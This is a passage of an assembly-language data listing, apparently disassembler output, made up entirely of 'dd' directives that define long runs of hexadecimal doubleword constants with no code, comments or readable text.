0B861AAB2h, 64EB994Bh dd 2F503B16h, 0EDF8CF74h, 0A0C7471Ch, 9D1FBCABh, 0E86C6F2Dh dd 144D30D0h, 654499A9h, 0B31AE08Dh, 0E1995B27h, 8BA9D764h dd 735BFFE3h, 7F178447h, 0DCCE1119h, 83BE4530h, 0B1D092E8h dd 637D5D2Dh, 244E68EBh, 71521CE6h, 0E09A2A6Ah, 4CED32E7h dd 7F794943h, 4F0317F4h, 6ED83F4h, 406ECC26h, 0B34E537Ah dd 68D42EE3h, 0CB773821h, 0FA4B5B8Bh, 5D8B127Ah, 0CCB7F50h dd 1D372915h, 0FF3B98D5h, 0A14BBFC9h, 200A384Eh, 0BB745B91h dd 1707D4C5h, 6016801h, 9EA23EACh, 37F090D0h, 8FC5E491h dd 28EDEDB5h, 8A8DD62Fh, 0FA707F24h, 0F1ACB4A2h, 6451173Ch dd 0EF3A2A81h, 0FAD4B2C2h, 0BB72767Ah, 4642D7CDh, 9FE6849Fh dd 8DEF2C57h, 0D883B8E3h, 0C7608FECh, 71183370h, 0D4A73050h dd 0F789D8D7h, 2F0DD708h, 52DF687Ah, 0A1048C38h, 0C3F4FE7Fh dd 981E37E8h, 74715179h, 0DBB13C96h, 9C142FE1h, 29D2400h dd 3E240FF8h, 0AEE72F10h, 9A9B838Eh, 0AA6EAD75h, 70CBC722h dd 39BB6BD8h, 43343AB9h, 5B3A5DC1h, 0E2DD2DC8h, 0CCA3C044h dd 1D34E26Ch, 2E408CA2h, 0BD3B54D3h, 1D021EC3h, 0E0D86A9Ch dd 7D973A9h, 0A17C4EE5h, 0BB9ECC08h, 6FAEE4E3h, 1A6561FFh dd 0DA8E20B4h, 0CF47A87Bh, 1B47B0D4h, 3FB77F45h, 20AEDFB0h dd 81D68DCEh, 2373C55Dh, 0E20F70DCh, 13E5C223h, 0F9DE222Bh dd 9BFD1494h, 9DD3C9FFh, 81AD40DEh, 0DD2D4D02h, 5644FAF0h dd 67DC4B3Ah, 0B71DAFF3h, 182550F5h, 0EFF71151h, 0CFD37B8Ah dd 985D2EB3h, 0A3AF877Bh dd 52DA4C11h, 86ED9442h, 833F33BEh, 0C787396Bh, 0FBFF8BE7h dd 0B2069D32h, 4FA751CAh, 0F598B533h, 24344791h, 0A1C808FBh dd 4198EF1Eh, 4100742Dh, 1234854Dh, 0C74B47B7h, 9871C8F4h dd 9EF62671h, 903C338Fh, 2B86A7C6h, 1C34047Eh, 15A21CDEh dd 0F797C5F7h, 4C1EADBCh, 0BC9A2F6Fh, 83F52126h, 0CC19F543h dd 0E9AD2AA1h, 21494DDBh, 0F9A71199h, 0B956E3A4h, 547FBBA3h dd 46A22257h, 0D060C458h, 53115416h, 0F077744Dh, 546432D9h dd 0C1FA2C82h, 0F96C1477h, 0C13D8AE5h, 61C96765h, 424A925Bh dd 0CC54CCAAh, 0C8744E5Fh, 694B087Ah, 760F153Dh, 0AD605E33h dd 0DACAD4FDh, 5C9FAB29h, 54288048h, 8DCBB755h, 5670728Dh dd 84803486h, 4EAFEBEAh, 4256EFCCh, 4226688Ch, 0EECDDC06h dd 0AC5077C4h, 0E7823F9Ch, 0D0855DFh, 61939862h, 0CCFD36B8h dd 0FE992603h, 0F2B45266h, 9050EAFDh, 0BB286964h, 70617BA6h dd 203D9057h, 53740BC9h, 87284507h, 0A4622CB4h, 0F4CA9B4Ah dd 0C4E110FBh, 9BE6F7FAh, 0B70A5C0Eh, 5DC1B6B4h, 0B324E48Ch dd 1F1ED526h, 7608B40Bh, 7A274BEDh, 0EC8D8CA4h, 65A60E46h dd 574F0687h, 1E82305Fh, 0AC6B888Bh, 4D57AB61h, 15860878h dd 0AD0C9F55h, 977A9BD1h, 4CC2E82Ah, 0D7F33EA4h, 0EBC2CE9Dh dd 0CBE1FDEBh, 0DF45440h, 173C0C99h, 0F4A6978Eh, 0DEF012E3h dd 9462DD21h, 8FAC8365h, 5ED3A88Dh, 41D2092Bh, 287E9C3Ch dd 248C530Fh, 0E127A0EBh, 0EB9FACD1h, 4B99D906h, 66390B9Eh dd 0D1E2501Fh, 8681B37Bh, 66812FF4h, 0DCB5C52Bh, 0DDB925B5h dd 0A1499C8Ch, 7E8CB23Ah, 0E02E2C8Eh, 46FC15DCh, 0D2C548DFh dd 0D3F84A7Eh, 4CEB7340h, 0DA58F20Eh, 0FF1931EBh, 3DDF0006h dd 0AB654ACEh, 2709DA79h, 3182F24Fh, 4B56044Eh, 22775E63h dd 88F59832h, 0C84EF1B3h, 922DBE97h, 0CD23CBB0h, 0E44C7F35h dd 268830ABh, 448C24BCh, 514AB8F9h, 0EDD79992h, 3F255B38h dd 0D3223578h, 0CEF17727h, 0A30EE515h, 0DC95E89Fh, 9B9BECFh dd 79FBFA64h, 0C5BF056Ch, 0C4BC4B46h, 0E7BA4F35h, 0D29F1472h dd 3A98185Dh, 2ECCA196h, 0FEEA5B7h, 9FF029F8h, 0FAC05630h dd 2E532580h, 0A8A3FD1Ah, 0F966F29Eh, 63F98F0Eh, 0CC48B5A8h dd 3B2BA277h, 7DFB9A80h, 0A6DE9AEEh, 9CC5B62Fh, 0F29D81A5h dd 76137006h, 532980F4h, 0CEDD2C09h, 1ADFA97Eh, 9D4F57C0h dd 0EC5BF604h, 0A0AF6E12h, 6937294Ah, 42CD5F9Ah, 0E988A092h dd 7AF1C251h, 80DEBD35h, 0CEDE9026h, 6BB3AFF6h, 14A0FFC6h dd 50D9FE2h, 0DC779CBCh, 5D948A8h, 48644F6h, 3E85B3C1h dd 3C074AF2h, 0E4C6F9EAh, 3D980641h, 5F85C367h, 2FF5DB0Ah dd 7AFE345Ch, 652EA898h, 0A7F51E3h, 2DF02685h, 552E8EA6h dd 7328EEDBh, 9A82D291h, 7A05D78Bh, 0ECDED681h, 0C45DE0AAh dd 65A8D8F6h, 0B1976E93h, 0F8233A11h, 26CDDF50h, 74000EDCh dd 0E2B174F8h, 284789B7h, 0ED61A3BBh, 72E43F7h, 7D6CCB79h dd 102E307Ch, 85DE0E9Bh, 44B1E216h, 9BBEE841h, 0E04A126Ch dd 0FEDB9A61h, 0F937B1DDh, 1F404A61h, 0D302F009h, 0B0F6C45h dd 0D9415405h, 0F973C830h, 0C35F05A6h, 1EFBFBEh, 0F0744ED3h dd 72051329h, 63F835AFh, 21C2C74Fh, 887938DEh, 0C8581506h dd 9028E4B9h, 3DBA4F7Bh, 48ED4FDEh, 6A8EC586h, 94B24F71h dd 0C775F173h, 423D02C5h, 281B7A28h, 6BAE1C00h, 0B4A65691h dd 2DDB7C07h, 78388E6Ah, 14AFA65Ch, 7E7448h, 9A1D13E0h dd 9C120188h, 23965873h, 77F4B2D5h, 0CB7D8241h, 4E766FC8h dd 7074A423h, 9CAB1C5Eh, 2CE2B1FBh, 0AEF4CEF8h, 2ED1DD45h dd 254E20FBh, 6974B3h, 0EB386D8Bh, 0BAD5FC2Ch, 495AB758h dd 0DDC34918h, 0BE72C10Ch, 462DF5B1h, 191685A2h, 0E23B0FFFh dd 3D040E08h, 0D2A924Ah, 0F3905827h, 0EC127E7Ah, 3BE1D502h dd 0AB9560AAh, 5B017C6Dh, 5FDA3200h, 51C22731h, 46F91CA4h dd 0F03D673Dh, 0F3BF74AAh, 3778173Fh, 88F05B2Dh, 2682AAC8h dd 8F9332BAh, 86CB8A91h, 4133D2A0h, 7E6FEF35h, 4F16D03Bh dd 0C3FBD3B3h, 23D7B795h, 687C487Ch, 0EE57A9h, 0A37B95h dd 60EDCFA1h, 9904EA1Ch, 9B2FF034h, 0CF01D000h, 30D81BAEh dd 2E84EB7Ah, 0DD188327h, 33204E2Bh, 0F45AF331h, 0D6FC5E47h dd 571EFE92h, 0F7D1681Ah, 637C87EEh, 0FDBFC6A8h, 0CD494F6Bh dd 5D4655A9h, 7E25A461h, 0A28E6F9Eh, 0FD8AF419h, 7B8EE621h dd 27BB8B93h, 7950B08Ch, 287D0C0Ah, 49CC6FCBh, 4B3822A9h dd 0A28A8E3Fh, 5F73DAC1h, 83921FFCh, 84A834B4h, 2CB60921h dd 0F4A3E08Bh, 4B1D90F0h, 2C011C9Eh, 1BABE5A2h, 609D5CD5h dd 8B9E62E6h, 4660BB07h, 65716DBCh, 0F4303E30h, 4859D804h dd 0C5EAF780h, 5E2FEC33h, 0D93FD205h, 10F2ABFCh, 9A947E10h dd 8A0C7ECCh, 0AA12439Ah, 56F452D2h, 32146561h, 0BD8CEFF4h dd 9DA3F0CDh, 36D1CE0Ch, 10DCA0FAh, 0C2E3F43h, 1EEBF4D1h dd 43E0C168h, 0A9C4D20Eh, 0F5305287h, 0D8269179h, 0C3688C11h dd 0AAD81325h, 3F72FEE1h, 0B34FC304h, 0F48AE280h, 6806BC44h dd 6CEAF437h, 4515F179h, 0C01AB001h, 1DBCD184h, 0CCAFA5F4h dd 0C403048h, 1CAF44EDh, 0C7003546h, 0FBD25C33h, 0CDBB423Ah dd 6A915BBBh, 6AAD45F5h, 665A2BB4h, 0CBCAD540h, 2EAE7803h dd 0C0144AFh, 128C6E82h, 0B6765878h, 0A51CE51Dh, 12C4600Bh dd 1AEBBECDh, 76EFB2E4h, 54E8FA22h, 8D1391D9h, 2BF3400Ch dd 12B52C06h, 7C2886F7h, 1FE65657h, 8E74B103h, 0E4D86908h dd 7EC9859Ah, 0DDFA021Eh, 0D4FFFC3h, 5032A692h, 130D089Ch dd 0ABA1D566h, 5EBA5084h, 33D7BE8Eh, 23F46D65h, 5742A997h dd 49FA990Ch, 0A1A15DA5h, 0E59F2262h, 6513BB18h, 0EB395158h dd 88F9ABA6h, 32D07C1Dh, 17E14E5Bh, 45F76610h, 1784D50Ah dd 2723EFE8h, 3F2B5D59h, 0BD8AE1Dh, 0B9F6070Dh, 0A22EDCDDh dd 64A3620Fh, 0B5E79711h, 0E56806A5h, 0B7DEE403h, 261C8C32h dd 0C2B738B6h, 955194B6h, 0A098EF4Eh, 24738DFCh, 0D627FEE3h dd 0BAA35216h, 57D4EE79h, 8542576Eh, 0F41BA186h, 97AA3C6Ah dd 0E5BED23Ch, 0E860D095h, 52D33FF0h, 88CEA7E3h, 0B5AAE40h dd 2E57053Eh, 1A0EF3FFh, 725AB53Eh, 8ACD8E2Dh, 295FE0D7h dd 6074FC5Ch, 6792C099h, 6A3137ECh, 68255AC0h, 8A6B81DFh dd 0F75B823Dh, 0BB779F66h, 0CF0131DCh, 70165E12h, 911B1988h dd 963088A5h, 0B61D1904h, 9EAED5A0h, 8483B250h, 1482161Ah dd 4FFD66A1h, 5158E203h, 6A815567h, 65120F53h, 0E971381Eh dd 8B3689AAh, 8CB117F0h, 208B47F9h, 0CC5B1BE6h, 6F2FDCB6h dd 0D29ECD4Bh, 0E939FB0Fh, 5B847E28h, 0F0944724h, 0D25317C0h dd 53718D35h, 297ECEACh, 927572ECh, 8E8CE935h, 6856ECFFh dd 0C2C7817Dh, 7EEBC406h, 98019E45h, 2F19F910h, 84E50E11h dd 0CDEBEA80h, 23CD3D55h, 69AFC62h, 8718D52Dh, 0B695E833h dd 0B75460B6h, 0CC177D67h, 8B431191h, 90EA4678h, 0AFE7C6CAh dd 736EFFB3h, 0A0797BF0h, 910520BCh, 0B94FB8DFh, 0A90B2570h dd 0D80AC0A0h, 4D5B5790h, 1616FC94h, 26F3BAC7h, 7E210CB6h dd 8CC9E15h, 0E7E62A16h, 0A68F18A9h, 929E9A70h, 0AF0F6C54h dd 13A40835h, 4948FDADh, 55D7C808h, 0B7807338h, 0D9BC0C24h dd 0F4286DBCh, 3A975CC5h, 300D603Ah, 0EFE8EDC3h, 6D748598h dd 9FB41A4Eh, 0B3F17D1Ch, 9DEF2F69h, 9D4C08CEh, 0A5393250h dd 731EA5E4h, 4F79A950h dd 0E8483606h, 6D62A83Bh, 0D85FC643h, 0F453FFF8h, 0FE8AB9F7h dd 703329F7h, 66BF7D67h, 0B394982h, 0B980542Ah, 83E10775h dd 0F1E6567h, 0D2BBE092h, 0C798CE2h, 0C1936F99h, 3282B39Ah dd 6328EDACh, 41815E0Ah, 104BD772h, 0CEAFEB21h, 0B390DB2Dh dd 3D68251Ch, 84B52E5Ch, 7D00026h, 0AC3229D5h, 8BBC467h dd 4EC69B4Bh, 59338BCDh, 523E37Dh, 317AD638h, 2CC57010h dd 416BAFEh, 0A9F1DB24h, 0D9C5609Ah, 365687C9h, 0DD9B07D1h dd 23965DDFh, 927E85A6h, 9C73DF29h, 0E6C7DFF8h, 330FF664h dd 18C7425h, 38F86A38h, 4435C6CEh, 3B661948h, 7FE72F59h dd 1DF574AAh, 0AD6BB961h, 0DA187294h, 46915913h, 0BA2C60E7h dd 160977BFh, 5CA8CDB5h, 0D3D40C7Eh, 798B3CAh, 2F9E2B5h dd 0C98ACC1Eh, 3D8995E5h, 4C9E223Ch, 393509B4h, 15FBD666h dd 0A769744h, 3CD0E5A0h, 0E084F3A8h, 434214Eh, 0E5C038FEh dd 0E7F43A13h, 9463D107h, 17388E0Ch, 5B33F3C0h, 0AEFF1C72h dd 4A4762C7h, 0B14E36C4h, 0C82FA1C1h, 39737C5Eh, 734CE8B8h dd 0FE9882A9h, 2D5DD6h, 6E311E24h, 4463769Eh, 0D7B0E945h dd 0F7F5B0EAh, 0A7A138DBh, 3E3698D9h, 0B0C05B70h, 23C4A971h dd 30179397h, 46CD2A90h, 5950D6D5h, 9BF0BF5Dh, 0B03B4837h dd 0C1FA28C7h, 40629B2Fh, 0B4B8E77Ch, 0F4491057h, 7102E0D6h dd 2938B5D8h, 0DD5FA0A5h, 0C5FA732Fh, 54E0B031h, 6067780Eh dd 0CF4E9A49h, 36D52FADh, 0F8F8D244h, 3DBF6FCEh, 0BEFFB59Bh dd 0AEAEE046h, 0EAEF5B41h, 605B62C6h, 0F8A67AD7h, 2D2E3822h dd 470818E7h, 4B46DF9h, 0DBE3DE8Fh, 3DE1D169h, 25208587h dd 3D1D58B3h, 0A73850B4h, 0BFB1E516h, 705058C9h, 7651E0BDh dd 0DCCC2B2Ah, 0E7236682h, 50BFD789h, 0D4C31EFFh, 854C5A2Fh dd 3FAEA127h, 0C118EA95h, 4CA37245h, 0CE5A2F49h, 12026AFh dd 0BF233797h, 1B291744h, 0C415AE66h, 1DA62FBAh, 8D217D04h dd 15EDC5F1h, 78E87B9Bh, 604B010Bh, 0EE4FF601h, 9123A84Dh dd 8CF8A1B7h, 0DE89F7C9h, 87F67F1h, 1E2F819Ah, 0C550F89Ah dd 9B9485E4h, 2CC08E33h, 0AAC548B7h, 3C8F1B96h, 6355BB34h dd 0EC561B68h, 1277FD47h, 1FC6EA94h, 8A399AA3h, 0EFFF5CD4h dd 0E0BD12CBh, 0DB3015AAh, 0DAB2F393h, 4D975547h, 4001124Ch dd 346AB33Fh, 0BB26F044h, 38193A54h, 0C724552Dh, 0CFCA6D2Ch dd 0B1A488F5h, 585E7536h, 58AACD8h, 70ED3BE4h, 0EB174405h dd 0BFB4AA6Ah, 94BEF2AEh, 94D99921h, 956CC26Ch, 0F075C33Dh dd 24614470h, 329B3703h, 4251C30Ah, 9BD8CE6h, 0E5581E40h dd 8185A9FDh, 0CFC2548Fh, 1C89BF1Ch, 0CCCBA75Eh, 8CAB061Eh dd 0A3CFD88Ah, 0ACF71605h, 0D80EC917h, 231A40D7h, 0E9819B40h dd 9388C286h, 2B9F563Dh, 0A4E5E8D7h, 6F88CC51h, 8C48521Bh dd 219F2F7h, 55D5055Dh, 99BDB64Bh, 613372F9h, 6AED1553h dd 0F3493CCh, 0FAB0DE0Bh, 0D91687C2h, 9A8040FBh, 0F5D06B48h dd 0AE69BC96h, 928525E9h, 0A6DE33B2h, 1A5791D6h, 0D707480Eh dd 2B804816h, 0AFBC88A9h, 93C8E3D7h, 508901A2h, 0E8F846FCh dd 0C8527B6Dh, 0C685ABB9h, 9376EA22h, 0C6CAB208h, 740DF00Fh dd 0FC62D798h, 0A05D2823h, 0D239A640h, 6AA6F338h, 0D4D63EA0h dd 5EEF4BC0h, 48B776Dh, 65A2E302h, 83BF6E5Dh, 4A4A29FBh dd 7D682A1Ch, 5078B1A6h, 4A87000Bh, 0B3EAFE69h, 1B797D3h dd 31C505E3h, 0F1BB3ED8h, 7A9854FFh, 0A2494155h, 0C984853Dh dd 421DB37Fh, 0CF860751h, 0E400F5E8h, 3D3CEDA3h, 8B3E01B5h dd 4F2F7586h, 236546B5h, 0C0344C49h, 0D788FF21h, 0E4031063h dd 97F59119h, 0FBF23F04h, 6EDD5401h, 0C9C22D0h, 5A331C44h dd 3BAF5F70h, 0E45992Dh, 0B6B64A9Eh, 0EF4106DCh, 7ADCA78Bh dd 8B713711h, 2E6CF7B8h, 9D59AB16h, 0F3DFE016h, 82341EB1h dd 5792D5ADh, 9924D434h, 0AD676569h, 69D127C3h, 9AB46166h dd 5CA9FDC8h, 0C2375F0Bh, 0AB34808Bh, 1B17B4FCh, 0A2C32142h dd 4AFC3235h, 298DF813h, 651CE2B1h, 72230694h, 8B276135h dd 122460B8h, 0AE4ADD7h, 60DBA9EDh, 92EFC9F2h, 0BB5052D6h dd 84366FC8h, 0F3E6B7F9h, 52B14B47h, 73CAA67Eh, 0E47AA439h dd 9D6DD16Fh, 0B06AF91h, 1CC1A9D2h, 9882EDB5h, 576BA4F8h dd 29A64A31h, 0F79DD157h, 0B2EC757Bh, 70F92552h, 7591EF1Eh dd 0A74074B5h, 676DA78Ch, 0EB63F5AAh, 0C468A48Fh, 0A5C274D6h dd 5EB2A0A0h, 8A1D4AE6h, 0C9A98DBDh, 0B054938Fh, 47D2697Fh dd 14B1B1Ch, 0C71CF51Ch, 911B5498h, 0C773AF58h, 63C0D011h dd 0EC7EFB2Eh, 0E4089AFCh, 0EA7E05F2h, 43B4C630h, 0C6534D39h dd 4AA52F48h, 7590E361h, 6573A6E1h, 0E1D7ADB8h, 7D9820A6h dd 0A90A5750h, 0F1B7F171h, 317D4060h, 693395E8h, 326C167Dh dd 83D5FF90h, 0F9DCC19Fh, 0F9FDA4FEh, 9693D5D2h, 0F990D1E8h dd 7AB1091Fh, 9A770529h, 0A8E0A051h, 0BC0FC1CEh, 7D5913C3h dd 3A4ADF5Bh, 4301A0E0h, 78506BD5h, 7A0B7B71h, 0A161B3D0h dd 992E6D5Eh, 6B9C652Eh, 66A0EED9h, 56BF51C7h, 7C260942h dd 0E6BE9712h, 1AB0F6B8h, 9A94097Ah, 402DA19Ah, 0B7321EC3h dd 0ACB83E47h, 8FA83742h, 0EA573327h, 7BBBA904h, 0B3571B58h dd 81A2ED63h, 8FBA955Ah, 0D383B444h, 47199CF8h, 0B0346445h dd 0F14AEEA1h, 92A82AB9h, 0D05A0AD3h, 0FFE3BC35h, 724341CEh dd 0A58A69CEh, 88C310E3h, 0AAEFADA3h, 82B28894h, 461243B5h dd 53DBBE59h, 6D880D5Ch, 195283B6h, 83E30EBBh, 0D68C9759h dd 9BFF6368h, 0B173869Dh, 1794A3Fh, 12422CE6h, 0A324E532h dd 362E4654h, 0D462F5EFh, 0B24534B4h, 572E031Ah, 0D9B74EA6h dd 119E8CDAh, 0C2E8FB01h, 0D451D25Dh, 0E12C61B9h, 0A28DEEDEh dd 585FB224h, 4D73312Eh, 0FB3EAAC6h, 0A549FEB1h, 0A7012E96h dd 0AFFD335Fh, 67D27169h, 3A250474h, 83D3707Ch, 6EA18311h dd 1EED28FDh, 0DEE9232Bh, 0C870F9E8h, 6D080A15h, 8A209C4Ah dd 34D63AAh, 3F7737ACh, 0B30B0BA7h, 0A7CE3167h, 0D8223425h dd 1FF5E2B8h, 0A5825739h, 0AFCD8F6Fh, 24C01C91h, 0FF340BD0h dd 938EE11Ch, 4739196Eh, 9752A47Dh, 0A4F68B03h, 9A9B0B26h dd 37ED96FFh, 61E5DC27h, 36F2FF5Ch, 6857E492h, 44146AC2h dd 2BD7CF33h, 4D318278h, 3ACFD5A5h, 0CEF426FAh, 0AA668E0Ah dd 1FB00050h, 0FC5B7F67h, 0B65A06CFh, 135F4B4Ah, 605788F9h dd 4B37D678h, 97E51432h, 722209E0h, 5D682E53h, 6B806CA6h dd 0C20410B4h, 0C312FEF5h, 66A015FEh, 9D2EF029h, 1569F4EBh dd 0D4045DC6h, 799AEA0Dh, 0E8AF8E70h, 0CB40D4A3h, 4086794Dh dd 0BA1AA1EDh, 94EA58C9h, 915A068Ch, 5B537CFFh, 8EB21DC6h dd 7EC0B930h, 46446382h, 773BD855h, 64CE0324h, 0D9AD787h dd 7061328h, 27D348B2h, 901D7699h, 0AD423DC9h, 0D6A807B0h dd 9ED31252h, 0A45B5158h, 0C86C3FD2h, 0E70FDC1Ah, 0C88A0906h dd 0BA29E63Bh, 0F8A536A3h, 964D4333h, 4E5A9D7Bh, 3AF6A67Ch dd 50C63E60h, 0E3D2C542h, 5ED996C4h, 851179BEh, 402D1FF5h dd 0D79ABF4Ch, 1BD4A816h, 0A19562C2h, 30DE65AEh, 60A6860Ch dd 724FB718h, 38CD0000h, 0D3437452h, 0E91CC8BBh, 690826DAh dd 447289B3h, 5A821484h, 0EB06BF9Bh, 0FDF2AD24h, 685CE38Ch dd 5F77BB5Ch, 0F5122C88h, 4EBC51A9h, 0DEA2DDD7h, 20E2504Ch dd 0F721E73Ah, 232FF60Ah, 9D0A4C32h, 0DF17794Ah, 0AE721D6Fh dd 0F6AAC5D3h, 0BA427522h dd 6F0CFFB3h, 2B979417h, 0D46DAA79h, 356D56CDh, 0A5FABC8Bh dd 0F75BCA3Ah, 30BFEA08h, 0D41EB6D8h, 0A611B821h, 5EFA9D09h dd 0DEDEC14Fh, 4EA9211Fh, 6D247CFEh, 0EC2B0BA4h, 0B42B7C59h dd 3E9B6A1Eh, 880A5106h, 0EAEB15DCh, 34BD99B9h, 81EAFCFDh dd 0EC83C96h, 0A3583098h, 0E7AC7F87h, 663F7F90h, 0C4FDA1F3h dd 0F2B54549h, 0A5F727FFh, 0D75CEDD9h, 44475222h, 43ACE6E5h dd 8788E340h, 0FBAEF9E8h, 5B54AA4h, 254F648Fh, 0D88929D1h dd 8D9D0ACEh, 3909F191h, 603F00C1h, 0C640E170h, 1C4C689Bh dd 8BD77C9Dh, 3F65B9F8h, 4A32E819h, 694072Eh, 0D4B06383h dd 51271F0Bh, 0B4914305h, 89DAE0B5h, 36E26A0Bh, 2A9AD8B8h dd 518F0289h, 0AB3508B2h, 91E2EE7Ch, 0FBAE4799h, 0F30F79FCh dd 0DDAD4758h, 4E1EC57Bh, 74C24899h, 11BAD76Ah, 0C15434B3h dd 65AE2BCCh, 63B7D535h, 0A975EF76h, 38027BE6h, 0E237D8B6h dd 349F6E2Eh, 6D16ECD2h, 8F63FABDh, 7E290581h, 0EE7D0AD9h dd 0B565AA17h, 6792204h, 1C4FCF59h, 92DC7393h, 8F0ADF58h dd 44B85E72h, 0E9CC375h, 19F585E8h, 0BAC799F5h, 1D5D0B27h dd 0D24714CBh, 0E0B7BAB4h, 9D7CEC35h, 0E853BFF7h, 0A33471EFh dd 2EE758Eh, 69D306B7h, 5A668808h, 27BA5871h, 8729EA0Dh dd 0F39ED436h, 4BC57E25h, 33A7DCC6h, 0AC9F918Bh, 667E3B41h dd 0F1ECAA2Eh, 26036178h, 0C37EAC4Ch, 0CDDFC9D3h, 0BF2B5306h dd 0A809EC58h, 0B5F7B0AFh, 231CB72Bh, 0D478B81Bh, 8DA31E99h dd 93CBB0D0h, 7A946B10h, 649A3DF7h, 70345A5Eh, 67E1E200h dd 0B017490Ah, 0F624F072h, 20E991B6h, 76D92E5Ah, 0CABDCA21h dd 0B6AE238h, 0E9066D7Bh, 2395CA64h, 0F827EAB6h, 8137F86Fh dd 743F6FF3h, 1424B5BFh, 9A097C2Bh, 0A3F73DC0h, 5AE46C3Bh dd 230C367Ah, 22D7601Fh, 0DF4F2DB2h, 4C1B8A62h, 0AC6850D5h dd 0D3FDB5B0h, 7F96C42Ah, 0FF10D892h, 3DFA411Fh, 5EDBCF0Dh dd 0B482E065h, 3962A6C0h, 54D7DA31h, 0FC077B97h, 0BF31C79Dh dd 0A962ECDBh, 8A155174h, 53CCEA9Fh, 0AD1003D5h, 51FC5707h dd 4E0D52Dh, 0A027BB25h, 0B94F2EBBh, 859C0257h, 889794CFh dd 8D9804A2h, 0F09990E1h, 94C4A93Fh, 9C9204F9h, 0CE8B412Ch dd 0A044228h, 0D14EDAFBh, 9E04E556h, 81BC1D22h, 9EDC069Bh dd 0E7E4855Ch, 7C7A5B24h, 8689C772h, 114A7891h, 0CF67A19Bh dd 0C2AEF43Bh, 851922Fh, 0DBE9337Ch, 5AC0756h, 0FB5EB603h dd 9620EC1Ah, 0EA9AA394h, 0ED2984D3h, 83A432A0h, 6086AB4Fh dd 3AC07EFFh, 0DA9A9F02h, 2AEA4E0h, 12C0C7CBh, 0D69D76FEh dd 8CFB9E41h, 8D062601h, 606E193Ah, 0C63C39E6h, 30CA9994h dd 0D6708C54h, 0CE10E394h, 0F4B5F491h, 0E81BCB50h, 0DA50F4A4h dd 71D9DBD3h, 0BC4F71CDh, 6E0ACC84h, 295893ACh, 3981CE79h dd 73FFE526h, 39E8BB75h, 3F51EDD8h, 11705C51h, 7149B4C2h dd 0F3B30CB1h, 0A21047BBh, 48AFCA38h, 0EA8A72CAh, 0F81F6CFDh dd 526F33E5h, 8DEE216Ah, 9DE7A0EAh, 0EA7DB6EBh, 81B116D2h dd 50F03C7Eh, 6BAE7837h, 85B0061Dh, 6F8C36A1h, 15F70BD1h dd 913C63D6h, 0FE631553h, 1BC23189h, 3525CE33h, 0C8F262A2h dd 0C4B4E2FDh, 7D1FDAEh, 0CEC38933h, 6143F973h, 0FD81C64h dd 0C1620E0h, 68896385h, 0A91D7C3Eh, 195A7DECh, 0CBEEB6Ah dd 0C7719A57h, 0A61C93ABh, 2E37CE87h, 44DBFB16h, 9D739D74h dd 0E5165EEDh, 53E579D8h, 0B58792AAh, 970095AAh, 47041B43h dd 0D763F55h, 31657955h, 0E03A1B45h, 0CB74BE14h, 47D46068h dd 6FA3F78Eh, 0CFC563E4h, 0B1FEC22Fh, 0F077FBDBh, 0A62FF6ECh dd 5B524C27h, 3D360551h, 14604923h, 91DB266Dh, 5658F792h dd 0C899C1B8h, 142A759Dh, 8C3FC890h, 0F75925DCh, 79D54435h dd 0E82FBF8Ah, 0D00E94DFh, 0BD35FDFBh, 66CD11F1h, 0DD90F71Ch dd 100F88B4h, 424F540h, 0A3E7D98Fh, 0F4C51C4h, 7E114C9Eh dd 0A108EB3Bh, 0A449C60Ch, 0FC21CDFDh, 9CF998D1h, 0BA96A64Ah dd 5B0B4F52h, 6C4E6324h, 333B9F82h, 95AE1AFDh, 0EFAAB1B6h dd 74DBB414h, 687AC58Ah, 2264055Fh, 0E29D031Ah, 24B5824Ch dd 0D8A03305h, 420B07Ah, 3F088B4h, 0A824C29h, 0F9D15950h dd 1D353C5h, 0BD850079h, 58516F26h, 0D8F9F96Ah, 9201DDE0h dd 82CBF30h, 820A3683h, 0E9307BA7h, 77F639BFh, 60FFA238h dd 0DE024C69h, 33BC48B2h, 0D8F12D3Bh, 5F1926BDh, 0E48E0629h dd 5873A711h, 4DBAE8C9h, 0EDDC4599h, 0EA96ADCDh, 0FD69BE4Ah dd 4E188D25h, 0DAB7F24Dh, 0A0F2E6FBh, 0AEF2D0ECh, 355CE37Bh dd 0FCD1D1DCh, 0F2F35F80h, 0C9F0A620h, 0AE69E4ECh, 9B4A81FBh dd 50C1BC3Bh, 0E6572375h, 59F669Ah, 93E8B292h, 2FE68353h dd 0B3B08BA4h, 36C59F6Ah, 72426E2Eh, 69E02C25h, 86F2C58Ah dd 65ED42E0h, 8155C950h, 3FA7D99h, 9BA477CCh, 3308C4F9h dd 5CA8BEEFh, 0C437DF55h, 0F7E2E9BBh, 0B546AF39h, 402E14ABh dd 1D0EE133h, 9103ED4Eh, 36FA9634h, 8F31F6D0h, 0F809FD1h dd 86CA6CFCh, 29EC9BDAh, 39DE4F33h, 71A24439h, 0B4830E75h dd 74C8FA3Dh, 597226EAh, 0F41556FBh, 0C5ECED50h, 0D52723D4h dd 0A7BF2E2Bh, 6011E308h, 0DB887CDFh, 8480BAh, 2ACBA694h dd 0A2C2E073h, 9DEDB3D6h, 0DC2E40D5h, 605F6768h, 4DDEEB55h dd 2D7125E5h, 10E3378h, 915F3C3Dh, 77CFE834h, 0AB08AAEh dd 3D212F03h, 0D78692BAh, 1129B4B3h, 667CD101h, 9939646Eh dd 0EF91FC0Eh, 0E23AD983h, 4885C8FBh, 337BA9BEh, 0E88CCAABh dd 0AB71A2FFh, 0B49EA876h, 0D33E42ECh, 44CD84F5h, 0BDF8BD24h dd 0F1683B21h, 0CE0E2C7Bh, 0DF1DE8E8h, 16234118h, 2BDFB166h dd 0F96ACCD5h, 0EC66D2B2h, 6D256D49h, 6D9A3572h, 0D9E316B9h dd 7F7727C5h, 9E9876B1h, 0EDE29A0Fh, 0B6DA439Ah, 6D00E965h dd 27C30DE7h, 0E4468698h, 36785363h, 0A2D12DA7h, 757237A1h dd 6CF36EABh, 0FB513F95h, 3D21F6C1h, 0A78F2C62h, 90C9673Ch dd 0D026FB09h, 12B930FFh, 1C73BFDCh, 80B1D4DBh, 0C6DE099Ch dd 0B79E22BEh, 0C2994186h, 5F9C2D62h, 0CF3C512h, 8D757BADh dd 2AFA7CAAh, 46B0F80Fh, 99800E95h, 912166CBh, 4E4E794Ah dd 0EC18E2D2h, 988BF900h, 6EFFFABEh, 30C91CA8h, 0AE98E3E5h dd 7C2242CCh, 42C2BE70h, 4AC7A711h, 0E2D33C87h, 2FB84B69h dd 6D3898D0h, 7C50BA7h, 0AE82C22Ch, 0F5E26C3Bh, 0E1B29955h dd 8DFD9A25h, 7D20696Bh, 0D1D4EC52h, 68FE46DDh, 